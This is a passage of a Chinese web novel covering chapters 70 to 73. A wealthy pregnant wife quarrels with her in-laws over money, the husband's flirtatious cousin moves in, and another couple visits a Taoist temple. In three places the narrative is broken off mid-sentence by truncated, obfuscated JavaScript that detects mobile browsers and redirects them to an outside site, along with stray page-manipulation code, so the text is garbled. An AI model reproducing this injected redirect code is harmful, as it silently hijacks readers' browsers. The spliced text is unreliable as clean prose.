“这么长?” “嗯,太子体贴。” 两人一问一答,向着马车走去,却不知这一幕正好被前来看倒闭的馥春斋最后一眼的叶蕙珠看见。 叶蕙珠看着叶青漓身侧体贴入微的顾承宴,想到了打从自己怀孕后对自己越来越敷衍的沈仕楣,眸色尽暗。 扭头上马车时,目光不小心瞥见对面人来人往的霓裳阁,面容越发扭曲。 “回去!” 70. 沈家大哥 叶蕙珠回到家时,迎上来的是沈仕楣的大哥大嫂,两人见到她回来满眼带着笑,叶蕙珠却白了两人一眼,快步往自己房间走。 两人像没看懂叶蕙珠表情一样,依旧寸步不离跟在她身后。 “弟妹回来了?今日在外面玩得开心吗?” 叶蕙珠没说话,沈家大哥用胳膊肘撞了身边女人一下,笑着道:“弟妹是出去做生意的人,哪像你一样,每天在家什么都不干!” 沈家大嫂噎了一下,想要反驳,对上男人的冷脸后,悻悻然别过脸去。 叶蕙珠不知两人在她身后的眉眼官司,依旧目视前方往前走着。 沈家大哥却突然从她身后绕到前方,堵住了她的去路。 “弟妹走慢点,小心肚子。”他咧开嘴嘿嘿一笑,本该与沈仕楣有五分相似的容颜,因为常年的劳作多了几分沧桑和岁月的痕迹,看在叶蕙珠眼里便是只有——丑。 她嫌弃地皱眉,终于停下步子。 “有什么话快点说!” 沈家大哥闻言不再耽搁,搓了搓黝黑的双手,“这不是你大嫂生辰快到了,我想着给她买件礼物,看来看去,看上了一件金手镯,花色好看还显得富贵,就是……就是手里银子有些不够了,需要弟妹帮衬点。” 叶蕙珠登时垮下脸,她就知道这对夫妻主动找上自己准没好事! “我没钱!” 说着她侧过身就要离开,沈家大嫂却张开双手突然冲到另一边,眼神贪婪。 “弟妹别急着走啊!你就算看不上我,不愿意送我东西,总不能连娘的那一份也不出吧?” “娘和我的生辰只相差三天,当家的帮我挑礼物时已经帮娘也挑过了,看中了一只金簪,我们手里的银子不够,你再补上个三百两吧!” “三百两!”叶蕙珠气极反笑,“你们当我是什么?摇钱树吗?” “我叶蕙珠又不欠你们沈家的,凭什么要白给你们三百两银子?” 这句话放在一年以前,叶蕙珠根本不会说,甚至她看到沈家哥嫂为了三百两银子如此谄媚,只会施舍以一个轻蔑的眼神,随后轻飘飘将银票丢下。 但是婚后这段时间,叶蕙珠已经经历了太多! 从被裘氏哄着交出银子,到拿出自己的嫁妆供养全家,再到现在沈家人对她毫无节制的索取,叶蕙珠再有钱也经不住他们无底洞一般索要! 何况她为了和叶青漓抢生意,早在之前就将自己大部分现银投入到馥春斋上,如今铺子倒闭,她手里才是真没钱! 被叶蕙珠冷言拒绝,沈家哥嫂霎时收回笑脸,看向叶蕙珠的目光也带着几分指责。 “弟妹,你出身大户人家,我还以为你会和我们这些庄户人家不一样,怎么现在连最基本的孝道都没了?” 沈家大哥冷起脸,横着粗眉,“我是当大哥的,你看不起我也就算了,娘的生辰近在眼前,你进门不到一年,第一次为娘准备礼物是不是该尽些心?” “我已经帮你解决了挑礼物的烦恼,你只用出点银子就行了,怎么还不愿意呢?” “叶侍郎就是这么教女儿的?” “你也配提我父亲!” 叶蕙珠睨他一眼,眸光轻蔑,“我的钱都是我父母给的,我想怎么用就怎么用!” “你要给娘买礼物是你自己的事,我又没让你帮我挑!” “现在我要回去休息了,给我让开!” 她挺着肚子,径直往两人身上撞,方才还一脸豪横的两人瞬间吓傻一般,下意识后退。 叶蕙珠肚子里的可是沈家第一个孙子,若是出了半点差池,娘一定饶不了他! 直到叶蕙珠离开,沈家大哥才回过味来,想到自己被一个大肚子的妇人逼得后退,本就薄得如纸一般的面子越发挂不住,对着叶蕙珠的背影开始无能狂怒! “无知妇人!不敬兄长,不孝长辈!等仕哥儿回来,我一定叫他好好教训你!” 叶蕙珠白了他一眼,脚步丝毫未停。 嫁进沈家这几个月她已经看清了沈家这对哥嫂的品行,与沈仕楣相比差得太远了! 这种人,从前在叶府就是进门做奴仆母亲都不会留下! 她丝毫不将两人的话放在心上,她如今月份打了,肚子紧得厉害,只想赶紧回去躺在床上。 叶蕙珠刚在床上躺了一刻钟,那个被她买来专门伺候裘氏的小丫头就过来了。 “三少奶奶,老夫人有事找您,请您过去一趟。” 叶蕙珠无奈,只得起身。 沈家院子本来很小,将将够住沈家六口。叶蕙珠嫁进来后,为着安置她带来的小厮侍女,车马行李等,特意买下了隔壁的院子打通。 即便如此,她也不过走了两步路就到裘氏的房间。 一进门,就对上裘氏满脸欢喜,招手对着叶蕙珠笑道:“蕙珠来了?快,快来坐,别累到我宝贝孙子了!” 叶蕙珠心底那点小气,因着裘氏这份‘她最重要’的态度顺了许多,脸上也带上三分笑意。 “这么晚了,娘怎么还没睡,是有什么事找我?” 叶蕙珠抬脚坐到裘氏身边,裘氏顺势拉着她的手轻轻摩挲,满眼喜欢。 “没什么大事,就是一天没看见我的宝贝儿媳和宝贝孙子,有点想你们了!” 裘氏伸手在叶蕙珠肚子上轻轻拍了拍,笑着问她,“这孩子最近乖不乖,有没有闹你?” 叶蕙珠已有七个月的身孕,本就是最累的时候。 每日除了要操心沈仕楣上值,还要费心经营入不敷出的馥春斋,回了家还要面对贪心不足的沈家哥嫂,不止身体累,心更累! 从前遇到烦心事她都会和陆怡珊一起商量,只要自己一开口,陆怡珊就会为她解决好所有,如今嫁了人,不能常回家,心里有苦恼也无法及时说与母亲听。 裘氏这一刻的关心让叶蕙珠十分感动。 她摸了摸肚子,目光柔和,“这孩子听话,不怎么闹我,就是我最近总觉得身子有些乏。不过大夫也说这都是正常的多休息就好了!” 裘氏点头,“是了,妇人肚子越大便越要多注意身体,娘知道你整日忙着生意的事,可是也要多注意身体啊!” 沈家人只知道叶蕙珠出钱开了间铺子,整日为此忙里忙外,一应细节一概不知。更不知晓,那间被叶蕙珠投入大量钱财,用来和叶青漓的霓裳阁抢生意的馥春斋,今日刚刚倒闭关门! 叶蕙珠脸上笑容一滞,很快笑得更加灿烂,“娘说的是,我记下了,明日开始我就留在家里好好休息。” 婆媳两个在孩子的事上向来观点一致,见叶蕙珠听了自己的建议,裘氏越发满意。 摸着那鼓鼓的肚子,开始给叶蕙珠传授一些怀孕时的知识,虽然有些事情已经有些不合时宜,但毕竟是裘氏的一番心意。 她为沈家生下三个孩子,各个身体健壮,对于叶蕙珠这个从未生育过的妇人来说,还是有许多值得学习的东西的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403460|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裘氏说得认真,叶蕙珠也听得仔细,待说到生育沈仕楣时,裘氏更是感慨颇多。 “当时三哥儿胎位不正,我难产了一天一夜才把他生下来,谁成想生下来就是个没气的!”裘氏哑着声音,语带哽咽,“当时还下着大雪,村里的大夫是个没本事的,我眼睁睁看着三哥儿的脸从红到青,从青到紫,眼瞅着就要去了。” “是大哥儿心疼弟弟,小小年纪一个人顶着风雪跑到镇上去找大夫!那时候的雪真大呀,他一个半大小子,走在路上险些被雪盖住,我都不敢想他一个人是怎么走到镇上的!” “幸而后来他终于是把大夫找来了,三哥儿也因此活下来,否则,我们沈家哪还能出个进士?” 裘氏擦了擦眼角的泪,继续道:“可惜,我的大哥儿因为那场大雪发了一场高烧,整整烧了三天,醒来后眼睛不亮了,脑子也不灵光了,就好像他所有的聪明都拿去换了弟弟的命!” 叶蕙珠听着裘氏的回忆,眼眶逐渐泛红,待听见话题忽然转到沈家大哥身上时,周身瞬间竖起防备。 果不其然,裘氏紧接着对着叶蕙珠道:“蕙珠啊,你大户人家出身是个懂事的,三哥儿又有出息,这个家以后终究还是你们两人撑着。” “你大哥打小就对三哥儿好,只是近来有些不成器,我已经教训过他了,你以后是不是也该对他多恭敬些?” 叶蕙珠冷着脸没有答话。 裘氏立刻苦着脸长叹一口气,“我和孩他爹省吃俭用一辈子,盼的就是儿孙过得好。” “当年日子那么苦我们都过来了,如今家里情况好不容易好些,怎么能为了一点小事就闹得家宅不宁呢?何况,家里不安稳,三哥儿他在外当官也不会顺心的,你说对吗?” 提起这个,叶蕙珠忽然冷笑一声,“娘不说我险些忘了!” “你总说相公有出息,可他除了科举中榜,还做过什么值得夸赞的事吗?” 裘氏眨了眨眼,不明白叶蕙珠的意思。 叶蕙珠表情越发嘲讽。 “他虽然中榜,名次却不算高,朝廷授官时若不是我去求了人只怕现在他已经被赶到山野村沟去了!” “我出钱出力,处处求人才给他安排了一个京官做。他倒好,上任都快半年了,不说升职,连个功劳也没有!整日不求上进,除了找我要银子和同僚喝酒,他还干过什么事?” 叶蕙珠出钱给沈仕楣疏通关系留在京城是事实,裘氏不懂官场上的事,下意识为沈仕楣解释。 “男人在外做官都要应酬,和同僚搞好关系也是应当的!” 这个道理叶蕙珠懂! 可是自她怀孕后,沈仕楣陪她的时间越来越少,找她要钱出去喝酒的次数却越来越多! 她大着肚子在外辛辛苦苦开铺子挣钱,钱没挣到自己还赔出去不少,回到家还要面对沈家一大家子的索取,不给银子还要像今天这样被裘氏拉着好一通劝说,实在是心力交瘁! 本该在这个时候站在她身后支持她的丈夫,却不知和哪个同僚在酒楼畅饮! 叶蕙珠越想越气,坐在对面的裘氏却像看不懂她的脸色,依旧要她对沈家大哥恭敬。 叶蕙珠心底的火终于压不住了! “银子是我的,我想给谁就给谁!凭什么总是要我对他恭恭敬敬的?沈仕楣欠了他大哥的,就让他自己挣钱去还!” 裘氏一噎,反应过来叶蕙珠对她说了什么后,脸上的笑意瞬间消失得干干净净。 71. 表妹驾到二 裘氏眼神忽地变冷,长满褶子的三角眼死死盯着叶蕙珠,目光不虞。 “你说得这是什么话?他可是你男人!你肚子里还怀着他的孩子呢!他有今天是整个沈家人供出来的,你身为他的妻子难道不该和他一起回报沈家吗?” 叶蕙珠被她的眼神戳痛,明明自己养着沈家所有人,凭什么他们还能对自己颐指气使? 她越发来气,梗着脖子冲着裘氏大吼。 “呵呵!你们沈家一家子都是吸血鬼!沈仕楣是个没用的,你们吸不着他,就来吸我!” “如果不是我娘家富贵,照你们这个吸法早被吸干了!我告诉你,现在我怀孕了,以后我手里的银子全都是用来养我和孩子的,你们沈家其他人休想再用我一文钱!” “你……!” 裘氏瞬间慌了! 沈家有今日的好日子,与沈仕楣做官没多大关系,全靠的是叶蕙珠嫁妆的贴补。 若是真把她惹急了,断了对沈家的供养,那自己的后半辈子就完了! “蕙珠!好孩子,别生气!”裘氏连忙往前坐了坐,抬手拍拍叶蕙珠的手,对方忽然抽回手她也不恼,反而一脸微笑,“娘不就是跟你说说心里话嘛!” “你知道的,娘和你大哥都是庄稼人,没读过书,说不来好听话,但我们心里是好的!” “一家人住在一起,难免有点小摩擦,互相体谅就好了!” 叶蕙珠嘴角挂着冷笑,斜眼看着她并不搭话。 裘氏舔了舔嘴,一脸讪笑,“我知道你大哥那个浑骨头,成天不做正经事,就知道找你要银子花。你放心,这件事娘知道了,明天一定会教训他的!” 叶蕙珠却不愿再和裘氏多说,她嫁进来快一年,也看清了裘氏这个人。 在她心里,自己这个儿媳是外人,永远排在她亲生的儿子们后面,她怎么可能狠得下心教训他们? “我累了,要睡了,娘早点休息吧!” 叶蕙珠说罢,肃着脸带人直接离开裘氏房间。 裘氏看着她充满怨气的背影,老脸皱成一团,开始后悔自己刚才为什么不多向着叶蕙珠一点?万一她真断了给沈家的供养该怎么好? 裘氏怀着忐忑的心情入睡,第二天醒来时早把昨晚与叶蕙珠的争吵忘得一干二净。 “来人。” “来人!” “来人啊!” 她和往常一样想叫小丫鬟过来伺候自己,半天过去,却一个人影都没见着。 裘氏心中不喜,觉得是小丫头偷懒,自己三两下穿好衣服,推开门正打算找到人好好教训一通。 抬头就看见刚才自己叫的人正站在门前认真扫着地。 裘氏登时怒了。 “你这丫头耳朵聋了?我刚才叫你那么多遍都没听见吗?” 小丫头有些害怕,手上扫地的动作却没有停下,只是朝着裘氏恭敬福身。 “老夫人见谅,三少奶奶说,从今天开始我就不是伺候您的丫鬟了,以后我只负责这间院子的洒扫。” “什么?” 裘氏皱眉,“她这是什么意思?你是伺候我的丫头,为什么把你调去扫地?” 她大约想到了什么,却又不敢相信,眼珠转了转,朝着小丫头道:“我是这家里的老夫人,家里的人都听我的!蕙珠应该是没跟你交代清楚,你先把扫帚放下,过来给我捏捏肩。” 小丫头却摇摇头,将扫帚握得很紧,“不行的老夫人,三少奶奶已经说过,若是我敢做超出职责范围的事,就要扣我工钱的!” 她说着,忽然眼前一亮,有些憧憬地看着裘氏,“不过三少奶奶也说要是老夫人愿意另出银子,奴婢自然可以先来伺候您!” 一说到要自己出银子,裘氏立刻闭上嘴巴,看都不看小丫头一眼转身回了房间。 她在屋里躺了一上午,躺到腰酸背疼,肚子都瘪了,也没等来有人给她端来饭菜。 裘氏心里更气了! 与此同时,她还有些慌乱,该不会昨天真的惹恼了那丫头,从今以后沈家都没银子用了吧? 裘氏吓得一激灵,立刻起身,不顾院中下人们惊奇的目光一路快跑到厨房。 在和同样赶来厨房找东西的沈家哥嫂遇上时,裘氏下意识发问。 “你们院的人也被撤走了?” 沈家哥嫂相顾无言,朝着裘氏猛点头! 沈家大哥更是脸色臭臭的,“娘,三弟妹太不像话了!这都中午了,也没人送上饭菜,我差点被饿死了!她出这么大茬子,你可得好好说说她!” 裘氏闻言却不像昨日答应沈家大哥时一脸笃定,反而阴鸷着脸狠狠瞪他。 “要不是你个不成器的成天找她要银子,她怎么会生这么大的气?” “还不都怪你!” 沈家大哥被老母亲责怪,眼中怨怪一闪而过,却不敢再多说什么。 三人在厨房找了许久,终于确定今日叶蕙珠请来的厨子没做他们的饭,不过厨房里有很多现成的食材。 三人凑合做了顿饭,中途遇上了饿了许久前来问话的沈家二嫂,搞清楚因果后,沈家众人端着一碗简单的饭菜填饱了肚子。 饭后,沈家大哥又催促裘氏去找叶蕙珠说情,就算不给银子,家里的下人总不能都撤了! 裘氏虽也对现在的生活不满意,却不敢再到叶蕙珠面前再说什么。 毕竟府里的下人们只是不伺候沈家人,具体的活计还是在做的,比如打扫,浆洗,喂马等。 万一她再去叶蕙珠面前说两句,惹得她更生气,把这些下人都收走,那她以后出门不是连马车都没得坐了? 裘氏拒绝后,沈家大哥也拉不下脸来到叶蕙珠面前求情,无辜被牵连的沈家二哥二嫂就更说不上话了。 他们已经过了好几个月被人伺候的日子,哪里还愿意过回从前那种生活?虽说叶蕙珠没让他们出沈家公中的花销,让他们不用劳作也能日日有肉吃,可是吃惯了专业大厨做的菜,这几天沈家大嫂二嫂做的白水煮肉,他们已经吃不下去! 一家人从这天起衣服自己洗,饭菜自己做,只是短短三天,众人都过得苦不堪言! * 自从那日与裘氏不欢而散后,叶蕙珠便撤了沈家所有伺候的下人。 她躺在屋里听着下人通报裘氏母子几人这几日过得苦不堪言,心里那股气终于顺下去不少。 “银子在我手里,我想怎么用就怎么用!以后沈家再有人敢到我面前叫嚣,我第一个收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411713|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有给他们的银子!” 丫鬟在一旁也觉得这主意甚好! “小姐您是侍郎千金,嫁进沈家可是下嫁!他们一家子将小姐捧着都不为过,却一个个眼睛都盯着小姐的钱袋子,一点也不知道为小姐分忧。这样的人,不值得小姐给他们花钱!” 叶蕙珠也是这般想的,不过她抚上自己的肚子,面上还是划过一抹担忧。 “沈家人都是相公的亲人,我这么做,以后相公不会不高兴吧?” “当然不会!”丫鬟立刻答道:“小姐就是从前太在乎姑爷,给了沈家人太多好脸色,才让他们生了以下犯上的胆子!如今这一出后,以后肯定再没人敢对小姐不敬了!” “至于姑爷,小姐您可怀着他的孩子呢!这世上,你和孩子才是他最亲的人,而且姑爷以后升官还不都要靠着小姐,他怎么会生气?” 叶蕙珠闻言,嘴角终于缓缓吐出一个笑,“是这个道理。” 夏日燥热,叶蕙珠房间放了许多的冰,解决了一桩烦心事,这会丫鬟在一旁为她打着风,让她久违地感到放松。 就在叶蕙珠即将陷入沉睡时,一个小丫头神色慌张跑了进来。 “小姐,不好了!姑爷回来了!” 叶蕙珠面色微有不虞,“他回来就回来了,做什么说不好了?” 小丫头气都没喘匀,接着道:“姑爷带了一个年轻女子一起回来的!” “什么?!” 叶蕙珠那点微薄的睡意彻底消散,心底无名涌起一股怒火来! 她在沈家劳心劳力,为了一家人忙活被他们欺负就算了! 沈仕楣竟然也敢负她! “带我过去!” 叶蕙珠带着一身怒火,挺着大肚子走到沈家门口,远远地看见沈仕楣穿着上值时的官服,正和一个女子站在门前有说有笑的。 那女子约莫二八年纪,生得妩媚,看向沈仕楣时一双眼睛眨巴眨巴,十分勾人,甚至光天化日之下,竟然直接将手伸到沈仕楣脸上去! 沈仕楣面对对方的勾引也毫无抗拒,一脸微笑看着她! 叶蕙珠看着这一幕,再也压不住心底的怒火。 “沈!仕!楣!” 听见动静的沈仕楣忽然扭头,看见叶蕙珠气势汹汹超自己走来时,下意识朝后退了好大一步。 他身侧的那个女子却毫无所觉,顺着他的目光看了过来。 然而她还什么都没看清脸上就传来一股剧痛! “啪!” “啪!!” 两声脆响后,沈仕楣捂着脸发出一声恼羞成怒的低吼。 “疯女人,你做什么?” “疯女人?”叶蕙珠眼眶赤红,满是受伤,“你叫我疯女人?” “我在家辛辛苦苦怀着孩子,你却直接把不三不四的女人带回家,你还敢叫我疯女人!” “你在说什么?哪来的不三不四的女人?” “人都站在我面前了,你还敢骗我!” 叶蕙珠气得浑身颤抖,胸口起伏不定,她看着沈仕楣嫌恶的眼神,抬起手正要再甩一巴掌,耳边却传来一个女子的低语。 “表嫂误会了,我不是表哥在外面的女人,我是收到姑姑邀请才来沈家的!” 72. 打秋风 “表嫂?姑姑?” 叶蕙珠愣在当场,一只手也停在半空中。 听见动静的裘氏和沈家众人赶来时,看见的就是叶蕙珠张牙舞爪抬手要打沈仕楣的样子。 “哎呀!弟妹,你在做什么?” 沈家大哥这几日正有一肚子的怨气没处发,看见这一幕后,立刻激动地跑到三人面前,对着叶蕙珠指指点点。 “好啊你个悍妇,竟然殴打夫君!叶侍郎就是这么教女儿的吗?” “大哥!休要胡言!” 提及叶修恺,不用叶蕙珠开口,沈仕楣先一步阻止了沈家大哥犯贱。 “蕙珠只是认错人了,她并没有打我。” 他顶着脸上的手指印否认叶蕙珠打了他,身为沈家上下三代唯一一个当官的,沈仕楣如今在家中的地位不可同日而语。 哪怕两人从小一起长大,哪怕沈家大哥对他曾经有救命之恩,哪怕是沈家的两个哥哥省吃俭用许多年供出他这么一个读书人,只要他一天是个官,在沈家就没人敢忤逆他的话! 沈家大哥闭了嘴。 裘氏看着气氛不对的三人,一双三角眼微微眯起,“我刚才听着你们好像还吵起来了,三哥儿,到底是怎么回事?” 沈仕楣下意识看了叶蕙珠一眼,意识到自己打错人的某人连忙撇开视线。 他望着叶蕙珠,表情淡漠,“没什么,是慧珠认错人了。” “对了,娘,你什么时候把玉莹表妹叫来京城的,我怎么都不知道?” “玉莹丫头来了?” 裘氏忽地眼前一亮,好似才看见一直站在叶蕙珠身旁低着头的裘玉莹。 “这么多年没见,快,快来让姑母看看!” 裘氏招了招手,脸上还带着刺痛的裘玉莹只好缓缓走到她面前,甜甜叫了一声。 “姑母!” “唉!”裘氏一脸欢喜,“玉莹长大了,越来越好看了!” 裘氏夸得真诚,裘玉莹也只好害羞地低下头,将被扇红的那一半脸挡起来。 “玉莹这孩子好学也认真,听说认了个什么师傅,如今跟着她在城里开了间首饰铺子。就是铺面有些小,住不下几个人,你舅舅给我写信,我便说让玉莹来咱们家里住。” “家里宽敞,人多热闹,玉莹每晚按时归家,你舅舅也能放心!” 裘氏三言两语解释了裘玉莹的来意。 叶蕙珠脸色却并未好转,哪怕知道这个表妹真的只是来借住的,自己刚刚打了她一巴掌,现在叫叶蕙珠拉下脸冲她微笑,她做不到! 不仅如此,叶蕙珠弄清楚了裘玉莹的身份,对于刚才两人站在门口时的的动作就越发介怀。 哪个好人家的表妹会直接上手摸她已婚表哥的脸? 她冷笑一记,语带嘲讽,“果然是一屋子穷亲戚,成天上赶着来打秋风!” 如此刻薄的话语,霎时让现场氛围变得尴尬不已。 裘氏哑然半晌,站在原地不知还能说什么。如今沈家是叶蕙珠用银子供着,叶蕙珠若不愿意收留裘玉莹,裘氏自己也舍不得出钱。 其余人意识到叶蕙珠心情不好,都默契地闭上嘴巴。 就连沈家大哥也只敢抬眼偷看沈仕楣的脸色,偷偷摸了摸鼻子。 无缘无故被打了一巴掌,又被安了个打秋风名头的裘玉莹,脸色白了白,紧紧咬着唇,“三表嫂误会了,我不是白住在沈家,每个月也会出住宿费和伙食费的。” “实在是如今我师傅的那家店面太小,住不下人,等以后生意渐渐好起来了,我会立刻搬出去的!” 叶蕙珠却看不惯她这副好像被自己欺负了的样子,出言讥讽,“说是来借住,我看不见得!” “刚才你那只手都快伸到相公脸上去了!” 裘玉莹张嘴想要解释,对上叶蕙珠带刺的眼神连忙害怕地低下头,脸色白了又红,红了又白。 “你这是说得什么话?”沈仕楣双手紧握成拳,耳后青筋暴起,“玉莹表妹是正经人,刚才她是见我头上有异物,有碍瞻观,帮我取下来!” “异物在哪?” “异物……” 沈仕楣语噎一瞬,一点脏东西,裘玉莹又不可能一直攥在手里,早不知随风飘到何处了。 叶蕙珠几句话让他刚才在表妹面前才树立的一家之主的形象瞬间碎了一地。 他浅薄的面子被戳破,脸色愈发难看。 “你现在怎么变得这般斤斤计较?不过是腾出个房间给表妹住,你非要如此刻薄吗?” “我刻薄?!” 沈仕楣的话如同最后一棵稻草,压垮了叶蕙珠的防线。 她语调尖锐,眸中尽是难以置信,“我为了沈家日日操劳,挺着七个月的肚子忙前忙后,你娘和哥哥嫂嫂每日衣食住行,小到生辰买礼物,大到宴席交礼金都是我出银子,到头来你说我刻薄?” “你倒是不刻薄!你在做什么?” “你白天在外面和你的同僚畅饮,晚上在家门口和别的女人花前月下,笑得开怀!” “你说我刻薄?!” 叶蕙珠眸色暗红,又气又怒,话到最后隐隐带着几分哽咽。 沈仕楣闻言也意识到自己说错了话,在看见裘氏暗暗指向叶蕙珠肚子的眼神后,连忙上前一步,将人拥入怀中,软着声音哄她。 “好了好了,都是我不好!是我不对!” “我不该把家里的事都交给你一个人去操劳,我知道你辛苦了!刚才是我说错话了,你原谅我,好吗?” 叶蕙珠不语,抬手擦掉眼泪后顺势用胳膊肘捅了沈仕楣一记。 力气不大,沈仕楣却瞬间皱起眉,痛苦地捂着胸口。 “啊!娘子这般用力,是想谋杀亲夫吗?” 他生得一本正经,平素说话也温声细语,从来没在叶蕙珠面前展露过这么诙谐的样子。 “混蛋!” 叶蕙珠忍着笑,抬脚又踹了他一脚。 沈仕楣眉头皱得更加厉害,一手捂着胸口,一手按着小腿,抬起一条腿来在门口滑稽地蹦起来。 他这般不顾形象哄她,叶蕙珠哪里还气得起来? 嗔怪地瞪他一眼,终于止了哭泣。 转头看见这么多人看着自己哭了,眉头又皱起来。 裘氏忙上前打圆场,称叶蕙珠只是孕期正常反应,是肚子里的孩子想爹爹,而沈仕楣陪她的时间太少了,才会如此。 沈仕楣恍然大悟,眸光充满柔情看向叶蕙珠,靠在她耳边悄悄说,“以后我会多回来陪陪你和孩子的。” 声音不高不低,刚好全家人都能听见,沈家哥嫂习以为常没什么表情,裘氏一脸欢喜看着和好的夫妻俩。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429287|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裘玉莹则好奇抬眼偷偷观察两人。 沈仕楣虽然穿着一身官服,在叶蕙珠面前却全然不复刚才在自己面前的意气风发,对着叶蕙珠温柔体贴,要多卑微有多卑微。 叶蕙珠脸色果然好看许多,看向想要借住的裘玉莹时也终于心平气和。 “既然表妹要来借住,那就让人收拾一个房间出来吧!” * 裘氏把裘玉莹叫来沈家,表面上是照顾这个没有地方住的侄女,实则打着自己的小算盘。 自从贴身伺候她的小丫鬟被叶蕙珠调走,裘氏觉得哪哪都不痛快,想喝杯茶都得自己起来倒。 叶蕙珠进门后,家里两个儿媳也越发懒了,想找个人给自己捏捏肩,捶捶腿都还要多出银子,实在不划算! 刚好裘玉莹的父亲递信来问可否让裘玉莹借住,她立刻就应下了! 裘玉莹是自己的小辈,又有求于自己,使唤她给自己端茶倒水,捶肩揉背还不是手拿把掐? 然而事情并不全如裘氏所料! 初见时在门口的小插曲,让裘玉莹意识到沈家真正能说话做主的人只有两个:一是当官的表哥沈仕楣,另一个就是负责沈家全部开销的叶蕙珠! 甚至一旦叶蕙珠不同意,别说裘氏,就是沈仕楣想做的事也做不成! 裘玉莹是借住沈家,寄人篱下自然要小心讨好沈家人。 安顿好自己后,她做得第一件事就是将自己一早就准备好的礼物拿出来送给姑姑和三位表嫂。 裘氏就不必说了,一副银制抹额,样式大方,花纹简单,富贵又体面。 沈家大嫂和二嫂各拿到一支银簪。 说是银簪,实则是木头镶嵌着银丝花饰,做工很精致,并不值几个钱。 送到叶蕙珠手里的就不一样了,一对纯银打造的蝴蝶样式的银钗,戴在头上时蝴蝶翅膀随着动作轻轻颤动,栩栩如生叫人欢喜。 哪怕是叶蕙珠这样见惯了好东西的,也不得不承认,这银钗虽不华贵,却下了几分心思。 沈家大嫂将几人手中的东西对比一番,忽然对手里的银簪喜爱不起来。 “表妹真是个贴心的,还没住进来就知道准备这些东西。瞧娘和三弟妹手里那副银钗,做工真是精细,想必花了你不少时间吧?不像我和二弟妹手里的,该不是捡了你们铺子里不要的东西扔给我吧?” 裘氏一听这话瞬间沉下脸来。 她早就发现老大和老大媳妇性子越来越懒怠,没想到连心眼也变得越来越小! 叶蕙珠倒不在乎沈家大嫂明里暗里的挤兑,她和沈家另外两个媳妇本就不是一路人,裘玉莹送给自己的东西比她们的贵重些本是应当的! 裘玉莹温柔一笑,“大表嫂说得哪里的话?” “姑姑是长辈,送给她的礼物自然不能与大表嫂一样!” “三表嫂和三表哥当初成亲时,我并未在京城,也没有送礼,这是第一次与三表嫂见面,自然礼物要更加重一些!” 沈家大嫂冷哼一声,并不觉得这是实话! 众人也不在意她的态度,叶蕙珠看着手边的那副银钗,甚至生出几分兴趣。 “你这银钗做得倒是精美,蝴蝶一静一动都像活得一般。你的铺子开在哪?改天我也去瞧瞧。” 裘玉莹眸底终于流露出几分喜色。 73. 见家长 大约是意识到夏猎时自己占用了顾承宴太多时间,太子大发仁慈,一口气给顾承宴放了十天的长假。 这十天,顾承宴打算全用来陪叶青漓。 单纯在府里呆十天没意思,顾承宴提议不如回一趟白云观,毕竟那里还有他也很久没有见过师父和师弟们。 叶青漓还在犹豫,顾承宴却说走就走。 第二天就安排好了车马,拉着叶青漓回了白云观。 白云观和平常一样,香客众多,香火不断。 袅袅青烟跟随夏风飘然于山顶,耳际划过轻灵的风铃声,庄严肃穆的钟声响起,就连树梢的夏蝉也不似别处急躁。观中一缕香气嗅入鼻尖后,整个人仿佛至身自然,炎热夏日带来的浮躁尽散,令人瞬间心神宁静。 两人是来拜访闲云观主的,并未和其他香客一样走进正殿,而是按照顾承宴熟悉的一条路,直接走到白云观后殿。 后殿内有许多道士正在做着早课,他们身着道袍,闭目凝神,盘膝而坐,十分严肃的样子。 叶青漓觉得好奇,轻轻晃了晃两人紧握的手。 “你从前也是这样做早课的吗?” “嗯。” “为什么要做早课?有考试吗?” “早课并没有具体标准,主要目的是修心。” “就只是坐在那冥思苦想吗?” “可以是默念经文,可以是反思己过,做什么都可以。” “会不会有人觉得无聊中途睡着?” “……通常来讲,就算偷偷睡着也没人会说什么。” “现在天气这么热,为何不坐在阴凉处,你瞧他们满头大汗的。” “除了刮大风下大雨,早课基本不会停,寒来暑往皆在此处,目的就锻炼我们的心志。” “为什么?” “因为道家讲究‘无为而治,顺其自然’,早课时凝神静心能够让人更好地接触自然,达到‘天人合一’的境界……” “等等!” 顾承宴说到一半,叶青漓忽然打断,抬头冲他笑了笑,“嘿嘿,我觉得这些道理你还是自己知道就好,不用跟我说得这么详细。” 顾承宴失笑,点头说好。 两人一路继续走着,顾承宴没有再说那些乏味枯燥的道家‘真理’,反而给叶青漓讲起白云观曾经流传过的故事。 例如经过一间牌匾奇特的房间时,顾承宴会为她介绍,那是曾经有个皇帝放弃皇位转头进了白云观做道士时住过的地方。 